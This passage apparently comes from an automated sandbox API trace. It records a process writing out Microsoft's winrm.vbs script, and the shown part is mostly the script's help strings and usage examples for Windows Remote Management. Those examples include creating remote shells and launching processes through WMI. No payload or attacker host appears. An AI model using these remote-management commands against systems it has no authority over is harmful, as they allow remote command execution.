lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" 'If you feel something is 'missing that should be here, contact us. ", lpUsedDefaultChar=0x0) returned 154 [0123.147] _write (in: _FileHandle=3, _Buf=0x2764b6996e0*, _MaxCharCount=0x9a | out: _Buf=0x2764b6996e0*) returned 154 [0123.148] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b6996e0) [0123.148] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x134) returned 0x2764b699320 [0123.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ", cchWideChar=154, lpMultiByteStr=0x2764b699320, cbMultiByte=308, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" 'If you feel something is 'missing that should be here, contact us. ", lpUsedDefaultChar=0x0) returned 154 [0123.148] _write (in: _FileHandle=3, _Buf=0x2764b699320*, _MaxCharCount=0x9a | out: _Buf=0x2764b699320*) returned 154 [0123.148] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b699320) [0123.148] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x134) returned 0x2764b69a220 [0123.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ", cchWideChar=154, lpMultiByteStr=0x2764b69a220, cbMultiByte=308, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" 'If you feel something is 'missing that should be here, contact us. \x15:v\x02", lpUsedDefaultChar=0x0) returned 154 [0123.148] _write (in: _FileHandle=3, _Buf=0x2764b69a220*, _MaxCharCount=0x9a | out: _Buf=0x2764b69a220*) returned 154 [0123.148] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b69a220) [0123.153] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x21866) returned 0x27652958030 [0123.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="'\r\n' Copyright (c) Microsoft Corporation. All rights reserved.\r\n'\r\n' VBScript Source File\r\n'\r\n' Script Name: winrm.vbs\r\n'\r\n\r\n\r\n\r\n'''''''''''''''''''''\r\n' Error codes\r\nprivate const ERR_OK = 0\r\nprivate const ERR_GENERAL_FAILURE = 1\r\n\r\n'''''''''''''''''''''\r\n' Messages\r\n\r\nprivate const L_INVOPT_ErrorMessage = \"Switch not allowed with the given operation: \"\r\nprivate const L_UNKOPT_ErrorMessage = \"Unknown switch: \"\r\nprivate const L_BLANKOPT_ErrorMessage = \"Missing switch name\"\r\nprivate const L_UNKOPT_GenMessage = \"Invalid use of command line. Type \"\"winrm -?\"\" for help.\"\r\nprivate const L_HELP_GenMessage = \"Type \"\"winrm -?\"\" for help.\"\r\nprivate const L_ScriptNameNotFound_ErrorMessage = \"Invalid usage of command line; winrm.vbs not found in command string.\"\r\nprivate const L_ImproperUseOfQuotes_ErrorMessage = \"A quoted parameter value must begin and end with quotes: \"\r\nprivate const L_BADMATCNT1_Message = \"Unexpected match count - one match is expected: \"\r\nprivate const L_OPTNOTUNQ_Message = \"Option is not unique: \"\r\nprivate const L_URIMISSING_Message = \"URI is missing\"\r\nprivate const L_ACTIONMISSING_Message = \"Action is missing\"\r\nprivate const L_URIZERO_Message = \"URI is 0 length\" \r\nprivate const L_URIZEROTOK_Message = \"Invalid URI, token is 0 length\" \r\nprivate const L_INVWMIURI1_Message = \"Invalid WMI resource URI - no '/' found (at least 2 expected)\"\r\nprivate const L_INVWMIURI2_Message = \"Invalid WMI resource URI - only one '/' found (at least 2 expected)\"\r\nprivate const L_NOLASTTOK_Message = \"Invalid URI - cannot locate last token for root node name\"\r\nprivate const L_HashSyntax_ErrorMessage = \"Syntax Error: input must be of the form {KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}\"\r\nprivate const L_ARGNOVAL_Message = \"Argument's value is not provided: \"\r\nprivate const L_XMLERROR_Message = \"Unable to parse XML: \"\r\nprivate const L_XSLERROR_Message = \"Unable to parse XSL file. Either it is inaccessible or invalid: \"\r\nprivate const L_MSXML6MISSING_Message = \"Unable to load MSXML6, required by -format option and for set using \"\"@{...}\"\"\"\r\nprivate const L_FORMATLERROR_Message = \"Invalid option for -format: \"\r\nprivate const L_FORMATFAILED_Message = \"Unable to reformat message. Raw, unformatted, message: \"\r\nprivate const L_PUT_PARAM_NOMATCH_Message = \"Parameter name does not match any properties on resource: \"\r\nprivate const L_PUT_PARAM_MULTIMATCH_Message = \"Parameter matches more than one property on resource: \"\r\nprivate const L_PUT_PARAM_NOARRAY_Message = \"Multiple matching parameter names not allowedin @{...}: \"\r\nprivate const L_PUT_PARAM_NOTATTR_Message = \"Parameter matches a non-text property on resource: \"\r\nprivate const L_PUT_PARAM_EMPTY_Message = \"Parameter set is empty.\"\r\nprivate const L_OPTIONS_PARAMETER_EMPTY_Message = \"Options parameter has no value or is malformed.\"\r\nprivate const L_RESOURCELOCATOR_Message = \"Unable to create ResourceLocator object.\"\r\nprivate const L_PUT_PARAM_NOINPUT_Message = \"No input provided through \"\"@{...}\"\" or \"\"-file:\"\" commandline parameters.\"\r\nprivate const L_ERR_Message = \"Error: \"\r\nprivate const L_ERRNO_Message = \"Error number: \"\r\nprivate const L_OpDoesntAcceptInput_ErrorMessage = \"Input was supplied to an operation that does not accept input.\"\r\nprivate const L_QuickConfigNoChangesNeeded_Message = \"WinRM is already set up for remote management on this computer.\"\r\nprivate const L_QuickConfig_MissingUpdateXml_0_ErrorMessage = \"Could not find update instructions in analysis result.\"\r\nprivate const L_QuickConfigUpdated_Message = \"WinRM has been updated for remote management.\"\r\nprivate const L_QuickConfigUpdateFailed_ErrorMessage = \"One or more update steps could not be completed.\"\r\nprivate const L_QuickConfig_InvalidBool_0_ErrorMessage = \"Could not determine if remoting is enabled.\"\r\nprivate const L_QuickConfig_RemotingDisabledbyGP_00_ErrorMessage = \"Cannot complete the request due to a conflicting Group Policy setting.\"\r\nprivate const L_QuickConfig_UpdatesNeeded_0_Message = \"WinRM is not set up to allow remote access to this machine for management.\"\r\nprivate const L_QuickConfig_UpdatesNeeded_1_Message = \"The following changes must be made:\"\r\nprivate const L_QuickConfig_Prompt_0_Message = \"Make these changes [y/n]? \"\r\nprivate const L_QuickConfigNoServiceChangesNeeded_Message = \"WinRM is already set up to receive requests on this computer.\"\r\nprivate const L_QuickConfigNoServiceChangesNeeded_Message2 = \"WinRM service is already running on this machine.\"\r\nprivate const L_QuickConfigUpdatedService_Message = \"WinRM has been updated to receive requests.\"\r\nprivate const L_QuickConfig_ServiceUpdatesNeeded_0_Message = \"WinRM is not set up to receive requests on this machine.\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - GENERAL\r\nprivate const L_Help_Title_0_Message = \"Windows Remote Management Command Line Tool\"\r\n\r\nprivate const L_Help_Blank_0_Message = \"\"\r\n\r\nprivate const L_Help_SeeAlso_Title_Message = \"See also:\"\r\nprivate const X_Help_SeeAlso_Aliases_Message = \" winrm help aliases\"\r\nprivate const X_Help_SeeAlso_Config_Message = \" winrm help config\"\r\nprivate const X_Help_SeeAlso_CertMapping_Message = \" winrm help certmapping\"\r\nprivate const X_Help_SeeAlso_CustomRemoteShell_Message = \" winrm help customremoteshell\"\r\nprivate const X_Help_SeeAlso_Input_Message = \" winrm help input\"\r\nprivate const X_Help_SeeAlso_Filters_Message = \" winrm help filters\"\r\nprivate const X_Help_SeeAlso_Switches_Message = \" winrm help switches\"\r\nprivate const X_Help_SeeAlso_Uris_Message = \" winrm help uris\"\r\nprivate const X_Help_SeeAlso_Auth_Message = \" winrm help auth\"\r\nprivate const X_Help_SeeAlso_Set_Message = \" winrm set -?\"\r\nprivate const X_Help_SeeAlso_Create_Message = \" winrm create -?\"\r\nprivate const X_Help_SeeAlso_Enumerate_Message = \" winrm enumerate -?\"\r\nprivate const X_Help_SeeAlso_Invoke_Message = \" winrm invoke -?\"\r\nprivate const X_Help_SeeAlso_Remoting_Message = \" winrm help remoting\"\r\nprivate const X_Help_SeeAlso_configSDDL_Message = \" winrm configsddl -?\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - HELP\r\nprivate const L_HelpHelp_000_0_Message = \"Windows Remote Management (WinRM) is the Microsoft implementation of \"\r\nprivate const L_HelpHelp_001_0_Message = \"the WS-Management protocol which provides a secure way to communicate \"\r\nprivate const L_HelpHelp_001_1_Message = \"with local and remote computers using web services. \"\r\nprivate const L_HelpHelp_002_0_Message = \"\"\r\nprivate const L_HelpHelp_003_0_Message = \"Usage:\"\r\nprivate const L_HelpHelp_004_0_Message = \" winrm OPERATION RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpHelp_005_0_Message = \" [@{KEY=VALUE[;KEY=VALUE]...}]\"\r\nprivate const L_HelpHelp_007_0_Message = \"\"\r\nprivate const L_HelpHelp_008_0_Message = \"For help on a specific operation:\"\r\nprivate const L_HelpHelp_009_0_Message = \" winrm g[et] -? Retrieving management information.\"\r\nprivate const L_HelpHelp_010_0_Message = \" winrm s[et] -? Modifying management information.\"\r\nprivate const L_HelpHelp_011_0_Message = \" winrm c[reate] -? Creating new instances of management resources.\"\r\nprivate const L_HelpHelp_012_0_Message = \" winrm d[elete] -? Remove an instance of a management resource.\"\r\nprivate const L_HelpHelp_013_0_Message = \" winrm e[numerate] -? List all instances of a management resource.\"\r\nprivate const L_HelpHelp_014_0_Message = \" winrm i[nvoke] -? Executes a method on a management resource.\"\r\nprivate const L_HelpHelp_015_0_Message = \" winrm id[entify] -? Determines if a WS-Management implementation is\"\r\nprivate const L_HelpHelp_015_1_Message = \" running on the remote machine.\"\r\nprivate const L_HelpHelp_016_0_Message = \" winrm quickconfig -? Configures this machine to accept WS-Management\"\r\nprivate const L_HelpHelp_016_1_Message = \" requests from other machines.\"\r\nprivate const L_HelpHelp_016_3_Message = \" winrm configSDDL -? Modify an existing security descriptor for a URI.\"\r\nprivate const L_HelpHelp_016_4_Message = \" winrm helpmsg -? Displays error message for the error code.\"\r\nprivate const L_HelpHelp_017_0_Message = \"\"\r\nprivate const L_HelpHelp_018_0_Message = \"For help on related topics:\"\r\nprivate const L_HelpHelp_019_0_Message = \" winrm help uris How to construct resource URIs.\"\r\nprivate const L_HelpHelp_020_0_Message = \" winrm help aliases Abbreviations for URIs.\"\r\nprivate const L_HelpHelp_021_0_Message = \" winrm help config Configuring WinRM client and service settings.\"\r\nprivate const L_HelpHelp_021_2_Message = \" winrm help certmapping Configuring client certificate access.\"\r\nprivate const L_HelpHelp_022_0_Message = \" winrm help remoting How to access remote machines.\"\r\nprivate const L_HelpHelp_023_0_Message = \" winrm help auth Providing credentials for remote access.\"\r\nprivate const L_HelpHelp_024_0_Message = \" winrm help input Providing input to create, set, and invoke.\"\r\nprivate const L_HelpHelp_025_0_Message = \" winrm help switches Other switches such as formatting, options, etc.\"\r\nprivate const L_HelpHelp_026_0_Message = \" winrm help proxy Providing proxy information.\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - GET\r\nprivate const L_HelpGet_000_0_Message = \"winrm get RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpGet_001_0_Message = \"\"\r\nprivate const L_HelpGet_002_0_Message = \"Retrieves instances of RESOURCE_URI using specified \"\r\nprivate const L_HelpGet_003_0_Message = \"options and key-value pairs.\"\r\nprivate const L_HelpGet_004_0_Message = \"\"\r\nprivate const L_HelpGet_005_0_Message = \"Example: Retrieve current configuration in XML format:\"\r\nprivate const X_HelpGet_006_0_Message = \" winrm get winrm/config -format:pretty\"\r\nprivate const L_HelpGet_007_0_Message = \"\"\r\nprivate const L_HelpGet_008_0_Message = \"Example: Retrieve spooler instance of Win32_Service class:\"\r\nprivate const X_HelpGet_009_0_Message = \" winrm get wmicimv2/Win32_Service?Name=spooler\"\r\nprivate const L_HelpGet_010_0_Message = \"\"\r\nprivate const L_HelpGet_014_0_Message = \"Example: Retrieve a certmapping entry on this machine:\"\r\nprivate const X_HelpGet_015_0_Message = \" winrm get winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/*\"\r\nprivate const L_HelpGet_016_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - SET\r\nprivate const L_HelpSet_001_0_Message = \"winrm set RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpSet_002_0_Message = \" [@{KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}]\"\r\nprivate const L_HelpSet_003_0_Message = \" [-file:VALUE]\"\r\nprivate const L_HelpSet_004_0_Message = \"\"\r\nprivate const L_HelpSet_005_0_Message = \"Modifies settings in RESOURCE_URI using specified switches\"\r\nprivate const L_HelpSet_006_0_Message = \"and input of changed values via key-value pairs or updated \"\r\nprivate const L_HelpSet_007_0_Message = \"object via an input file.\"\r\nprivate const L_HelpSet_008_0_Message = \"\"\r\nprivate const L_HelpSet_009_0_Message = \"Example: Modify a configuration property of WinRM:\"\r\nprivate const X_HelpSet_010_0_Message = \" winrm set winrm/config @{MaxEnvelopeSizekb=\"\"100\"\"}\"\r\nprivate const L_HelpSet_011_0_Message = \"\"\r\nprivate const L_HelpSet_012_0_Message = \"Example: Disable a listener on this machine:\"\r\nprivate const X_HelpSet_013_0_Message = \" winrm set winrm/config/Listener?Address=*+Transport=HTTPS @{Enabled=\"\"false\"\"}\"\r\nprivate const L_HelpSet_014_0_Message = \"\"\r\nprivate const L_HelpSet_018_0_Message = \"Example: Disable a certmapping entry on this machine:\"\r\nprivate const X_HelpSet_019_0_Message = \" Winrm set winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{Enabled=\"\"false\"\"}\"\r\nprivate const L_HelpSet_020_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CREATE\r\nprivate const L_HelpCreate_001_0_Message = \"winrm create RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpCreate_002_0_Message = \" [@{KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}]\"\r\nprivate const L_HelpCreate_003_0_Message = \" [-file:VALUE]\"\r\nprivate const L_HelpCreate_004_0_Message = \"\"\r\nprivate const L_HelpCreate_005_0_Message = \"Spawns an instance of RESOURCE_URI using specified \"\r\nprivate const L_HelpCreate_006_0_Message = \"key-value pairs or input file.\"\r\nprivate const L_HelpCreate_007_0_Message = \"\"\r\nprivate const L_HelpCreate_008_0_Message = \"Example: Create instance of HTTP Listener on IPv6 address:\"\r\nprivate const X_HelpCreate_009_0_Message = \" winrm create winrm/config/Listener?Address=IP:3ffe:8311:ffff:f2c1::5e61+Transport=HTTP\"\r\nprivate const L_HelpCreate_010_0_Message = \"\"\r\nprivate const L_HelpCreate_011_0_Message = \"Example: Create instance of HTTPS Listener on all IPs:\"\r\nprivate const X_HelpCreate_012_0_Message = \" winrm create winrm/config/Listener?Address=*+Transport=HTTPS @{Hostname=\"\"HOST\"\";CertificateThumbprint=\"\"XXXXXXXXXX\"\"}\"\r\nprivate const L_HelpCreate_013_0_Message = \"Note: XXXXXXXXXX represents a 40-digit hex string; see help config.\"\r\nprivate const L_HelpCreate_014_0_Message = \"\"\r\nprivate const L_HelpCreate_015_0_Message = \"Example: Create a windows shell command instance from xml:\"\r\nprivate const X_HelpCreate_016_0_Message = \" winrm create shell/cmd -file:shell.xml -remote:srv.corp.com\"\r\nprivate const L_HelpCreate_017_0_Message = \"\"\r\nprivate const L_HelpCreate_022_0_Message = \"Example: Create a CertMapping entry:\"\r\nprivate const X_HelpCreate_023_0_Message = \" winrm create winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{UserName=\"\"USERNAME\"\";Password=\"\"PASSWORD\"\"} -remote:localhost\"\r\nprivate const L_HelpCreate_024_0_Message = \"\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - DELETE\r\nprivate const L_HelpDelete_001_0_Message = \"winrm delete RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpDelete_002_0_Message = \"\"\r\nprivate const L_HelpDelete_003_0_Message = \"Removes an instance of RESOURCE_URI.\"\r\nprivate const L_HelpDelete_004_0_Message = \"\"\r\nprivate const L_HelpDelete_005_0_Message = \"Example: delete the HTTP listener on this machine for given IP address:\"\r\nprivate const X_HelpDelete_006_0_Message = \" winrm delete winrm/config/Listener?Address=IP:192.168.2.1+Transport=HTTP\"\r\nprivate const L_HelpDelete_007_0_Message = \"\"\r\nprivate const L_HelpDelete_008_0_Message = \"Example: delete a certmapping entry:\"\r\nprivate const X_HelpDelete_009_0_Message = \" winrm delete winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/*\"\r\nprivate const L_HelpDelete_010_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - ENUMERATE\r\nprivate const L_HelpEnum_001_0_Message = \"winrm enumerate RESOURCE_URI [-ReturnType:Value] [-Shallow]\" \r\nprivate const L_HelpEnum_001_1_Message = \" [-BasePropertiesOnly] [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpEnum_002_0_Message = \"\"\r\nprivate const L_HelpEnum_003_0_Message = \"Lists instances of RESOURCE_URI.\"\r\nprivate const L_HelpEnum_004_0_Message = \"Can limit the instances returned by using a filter and dialect if the \"\r\nprivate const L_HelpEnum_005_0_Message = \"resource supports these.\"\r\nprivate const L_HelpEnum_006_0_Message = \"\"\r\nprivate const L_HelpEnum_006_1_Message = \"ReturnType\"\r\nprivate const L_HelpEnum_006_2_Message = \"----------\"\r\nprivate const L_HelpEnum_006_3_Message = \"returnType is an optional switch that determines the type of data returned.\"\r\nprivate const L_HelpEnum_006_4_Message = \"Possible options are 'Object', 'EPR' and 'ObjectAndEPR'. Default is Object\"\r\nprivate const L_HelpEnum_006_5_Message = \"If Object is specified or if switch is omitted, then only the objects are\"\r\nprivate const L_HelpEnum_006_6_Message = \"returned.\"\r\nprivate const L_HelpEnum_006_7_Message = \"If EPR is specified, then only the EPRs (End point reference) of the\"\r\nprivate const L_HelpEnum_006_8_Message = \"objects are returned. EPRs contain information about the resource URI and\"\r\nprivate const L_HelpEnum_006_9_Message = \"selectors for the instance.\"\r\nprivate const L_HelpEnum_006_10_Message = \"If ObjectAndEPR is specified, then both the object and the associated EPRs\"\r\nprivate const L_HelpEnum_006_11_Message = \"are returned.\"\r\nprivate const L_HelpEnum_006_12_Message = \"\"\r\nprivate const L_HelpEnum_006_13_Message = \"Shallow\"\r\nprivate const L_HelpEnum_006_14_Message = \"-------\"\r\nprivate const L_HelpEnum_006_15_Message = \"Enumerate only instances of the base class specified in the resource URI.\"\r\nprivate const L_HelpEnum_006_16_Message = \"If this flag is not specified, instances of the base class specified in \"\r\nprivate const L_HelpEnum_006_17_Message = \"the resource URI and all its derived classes are returned.\"\r\nprivate const L_HelpEnum_006_18_Message = \"\"\r\nprivate const L_HelpEnum_006_19_Message = \"BasePropertiesOnly\"\r\nprivate const L_HelpEnum_006_20_Message = \"------------------\"\r\nprivate const L_HelpEnum_006_21_Message = \"Includes only those properties that are part of the base class specified\"\r\nprivate const L_HelpEnum_006_22_Message = \"in the resource URI. When -Shallow is specified, this flag has no effect. \"\r\nprivate const L_HelpEnum_006_23_Message = \"\"\r\nprivate const L_HelpEnum_007_0_Message = \"Example: List all WinRM listeners on this machine:\"\r\nprivate const X_HelpEnum_008_0_Message = \" winrm enumerate winrm/config/Listener\"\r\nprivate const L_HelpEnum_009_0_Message = \"\"\r\nprivate const L_HelpEnum_010_0_Message = \"Example: List all instances of Win32_Service class:\"\r\nprivate const X_HelpEnum_011_0_Message = \" winrm enumerate wmicimv2/Win32_Service\"\r\nprivate const L_HelpEnum_012_0_Message = \"\"\r\n'private const L_HelpEnum_013_0_Message = \"Example: List all auto start services that are stopped:\"\r\n'private const X_HelpEnum_014_0_Message = \" winrm enum wmicimv2/* -filter:\"\"select * from win32_service where StartMode=\\\"\"Auto\\\"\" and State = \\\"\"Stopped\\\"\" \"\"\"\r\n'private const L_HelpEnum_015_0_Message = \"\"\r\nprivate const L_HelpEnum_016_0_Message = \"Example: List all shell instances on a machine:\"\r\nprivate const X_HelpEnum_017_0_Message = \" winrm enum shell/cmd -remote:srv.corp.com\"\r\nprivate const L_HelpEnum_018_0_Message = \"\"\r\nprivate const L_HelpEnum_019_0_Message = \"Example: List resources accessible to the current user:\"\r\nprivate const X_HelpEnum_020_0_Message = \" winrm enum winrm/config/resource\"\r\nprivate const L_HelpEnum_021_0_Message = \"\"\r\nprivate const L_HelpEnum_022_0_Message = \"Example: List all certmapping settings:\"\r\nprivate const X_HelpEnum_023_0_Message = \" winrm enum winrm/config/service/certmapping\"\r\nprivate const L_HelpEnum_024_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - INVOKE\r\nprivate const L_HelpInvoke_001_0_Message = \"winrm invoke ACTION RESOURCE_URI [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpInvoke_002_0_Message = \" [@{KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}]\"\r\nprivate const L_HelpInvoke_003_0_Message = \" [-file:VALUE]\"\r\nprivate const L_HelpInvoke_004_0_Message = \"\"\r\nprivate const L_HelpInvoke_005_0_Message = \"Executes method specified by ACTION on target object specified by RESOURCE_URI\"\r\nprivate const L_HelpInvoke_006_0_Message = \"with parameters specified by key-value pairs.\"\r\nprivate const L_HelpInvoke_007_0_Message = \"\"\r\nprivate const L_HelpInvoke_008_0_Message = \"Example: Call StartService method on Spooler service:\"\r\nprivate const X_HelpInvoke_009_0_Message = \" winrm invoke StartService wmicimv2/Win32_Service?Name=spooler\"\r\nprivate const L_HelpInvoke_010_0_Message = \"\"\r\nprivate const L_HelpInvoke_011_0_Message = \"Example: Call StopService method on Spooler service using XML file:\"\r\nprivate const X_HelpInvoke_012_0_Message = \" winrm invoke StopService wmicimv2/Win32_Service?Name=spooler -file:input.xml\"\r\nprivate const L_HelpInvoke_013_0_Message = \"Where input.xml:\"\r\nprivate const X_HelpInvoke_014_0_Message = \"\"\r\nprivate const L_HelpInvoke_015_0_Message = \"\"\r\nprivate const L_HelpInvoke_016_0_Message = \"Example: Call Create method of Win32_Process class with specified parameters:\"\r\nprivate const X_HelpInvoke_017_0_Message = \" winrm invoke Create wmicimv2/Win32_Process @{CommandLine=\"\"notepad.exe\"\";CurrentDirectory=\"\"C:\\\"\"}\"\r\nprivate const L_HelpInvoke_018_0_Message = \"\"\r\nprivate const L_HelpInvoke_019_0_Message = \"Example: Restore the default winrm configuration:\"\r\nprivate const L_HelpInvoke_019_1_Message = \"Note that this will not restore the default winrm plugin configuration:\"\r\nprivate const X_HelpInvoke_020_0_Message = \" winrm invoke restore winrm/config @{}\"\r\nprivate const L_HelpInvoke_021_0_Message = \"\"\r\nprivate const L_HelpInvoke_022_0_Message = \"Example: Restore the default winrm plugin configuration:\"\r\nprivate const L_HelpInvoke_022_1_Message = \"Note that all external plugins will be unregistered during this operation:\"\r\nprivate const X_HelpInvoke_023_0_Message = \" winrm invoke restore winrm/config/plugin @{}\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - IDENTIFY\r\nprivate const X_HelpIdentify_001_0_Message = \"winrm identify [-SWITCH:VALUE [-SWITCH:VALUE] ...]\"\r\nprivate const L_HelpIdentify_003_0_Message = \"\"\r\nprivate const L_HelpIdentify_004_0_Message = \"Issues an operation against a remote machine to see if the WS-Management \"\r\nprivate const L_HelpIdentify_005_0_Message = \"service is running. This operation must be run with the '-remote' switch.\"\r\nprivate const L_HelpIdentify_006_0_Message = \"To run this operation unauthenticated against the remote machine use the\"\r\nprivate const L_HelpIdentify_007_0_Message = \"-auth:none\"\r\nprivate const L_HelpIdentify_008_0_Message = \"\"\r\nprivate const L_HelpIdentify_009_0_Message = \"Example: identify if WS-Management is running on www.example.com:\"\r\nprivate const X_HelpIdentify_010_0_Message = \" winrm identify -remote:www.example.com\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - HELPMSG\r\nprivate const X_HelpHelpMessaage_001_0_Message = \"winrm helpmsg errorcode\"\r\nprivate const X_HelpHelpMessaage_002_0_Message = \"\"\r\nprivate const X_HelpHelpMessaage_003_0_Message = \"Displays error message associate with the error code.\"\r\nprivate const X_HelpHelpMessaage_004_0_Message = \"Example:\"\r\nprivate const X_HelpHelpMessaage_006_0_Message = \" winrm helpmsg 0x5\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - ALIAS\r\nprivate const L_HelpAlias_001_0_Message = \"Aliasing allows shortcuts to be used in place of full Resource URIs.\"\r\nprivate const L_HelpAlias_002_0_Message = \"Available aliases and the Resource URIs they substitute for are:\"\r\nprivate const L_HelpAlias_003_0_Message = \"\"\r\nprivate const X_HelpAlias_004_0_Message = \"wmi = http://schemas.microsoft.com/wbem/wsman/1/wmi\"\r\nprivate const X_HelpAlias_005_0_Message = \"wmicimv2 = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2\"\r\nprivate const X_HelpAlias_006_0_Message = \"cimv2 = http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2\"\r\nprivate const X_HelpAlias_007_0_Message = \"winrm = http://schemas.microsoft.com/wbem/wsman/1\"\r\nprivate const X_HelpAlias_008_0_Message = \"wsman = http://schemas.microsoft.com/wbem/wsman/1\"\r\nprivate const X_HelpAlias_009_0_Message = \"shell = http://schemas.microsoft.com/wbem/wsman/1/windows/shell\"\r\nprivate const L_HelpAlias_010_0_Message = \"\"\r\nprivate const L_HelpAlias_011_0_Message = \"Example: using full Resource URI:\"\r\nprivate const x_HelpAlias_012_0_Message = \" winrm get http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM\"\r\nprivate const L_HelpAlias_013_0_Message = \"\"\r\nprivate const L_HelpAlias_014_0_Message = \"Example: using alias:\"\r\nprivate const X_HelpAlias_015_0_Message = \" winrm get wmicimv2/Win32_Service?Name=WinRM\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - URIS\r\nprivate const L_HelpUris_001_0_Message = \"Universal Resource Identifiers (URI) specify management resources to be\"\r\nprivate const L_HelpUris_002_0_Message = \"used for operations.\"\r\nprivate const L_HelpUris_003_0_Message = \"\"\r\nprivate const L_HelpUris_004_0_Message = \"Selectors and values are passed after the URI in the form:\"\r\nprivate const X_HelpUris_005_0_Message = \" RESOURCE_URI?NAME=VALUE[+NAME=VALUE]...\"\r\nprivate const L_HelpUris_006_0_Message = \"\"\r\nprivate const L_HelpUris_007_0_Message = \"URIs for all information in WMI are of the following form:\"\r\nprivate const X_HelpUris_008_0_Message = \" WMI path = \\\\root\\NAMESPACE[\\NAMESPACE]\\CLASS\"\r\nprivate const X_HelpUris_009_0_Message = \" URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/NAMESPACE[/NAMESPACE]/CLASS\"\r\nprivate const X_HelpUris_010_0_Message = \" ALIAS = wmi/root/NAMESPACE[/NAMESPACE]/CLASS\"\r\nprivate const L_HelpUris_011_0_Message = \"\"\r\nprivate const L_HelpUris_012_0_Message = \"Example: Get information about WinRM service from WMI using single selector\"\r\nprivate const X_HelpUris_013_0_Message = \" WMI path = \\\\root\\cimv2\\Win32_Service\"\r\nprivate const X_HelpUris_013_1_Message = \" URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=WinRM\"\r\nprivate const X_HelpUris_014_0_Message = \" ALIAS = wmi/root/cimv2/Win32_Service?Name=WinRM\"\r\nprivate const L_HelpUris_015_0_Message = \"\"\r\nprivate const L_HelpUris_015_1_Message = \"When enumerating WMI instances using a WQL filter,\"\r\nprivate const L_HelpUris_015_2_Message = \"the CLASS must be \"\"*\"\" (star) and no selectors should be specified.\"\r\nprivate const L_HelpUris_015_3_Message = \"Example:\"\r\nprivate const X_HelpUris_015_4_Message = \"URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/*\"\r\nprivate const L_HelpUris_015_5_Message = \"\"\r\nprivate const L_HelpUris_015_6_Message = \"When accesing WMI singleton instances, no selectors should be specified.\"\r\nprivate const L_HelpUris_015_7_Message = \"Example:\"\r\nprivate const X_HelpUris_015_8_Message = \"URI = http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service\"\r\nprivate const L_HelpUris_015_9_Message = \"\"\r\nprivate const L_HelpUris_016_0_Message = \"Note: Some parts of RESOURCE_URI may be case-sensitive. When using create or\"\r\nprivate const L_HelpUris_017_0_Message = \"invoke, the last part of the resource URI must match case-wise the top-level\"\r\nprivate const L_HelpUris_018_0_Message = \"element of the expected XML.\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CONFIG\r\nprivate const L_HelpConfig_001_0_Message = \"Configuration for WinRM is managed using the winrm command line or through GPO.\"\r\nprivate const L_HelpConfig_002_0_Message = \"Configuration includes global configuration for both the client and service.\"\r\nprivate const L_HelpConfig_003_0_Message = \"\"\r\nprivate const L_HelpConfig_004_0_Message = \"The WinRM service requires at least one listener to indicate the IP address(es)\"\r\nprivate const L_HelpConfig_005_0_Message = \"on which to accept WS-Management requests. For example, if the machine has \"\r\nprivate const L_HelpConfig_006_0_Message = \"multiple network cards, WinRM can be configured to only accept requests from\"\r\nprivate const L_HelpConfig_007_0_Message = \"one of the network cards.\"\r\nprivate const 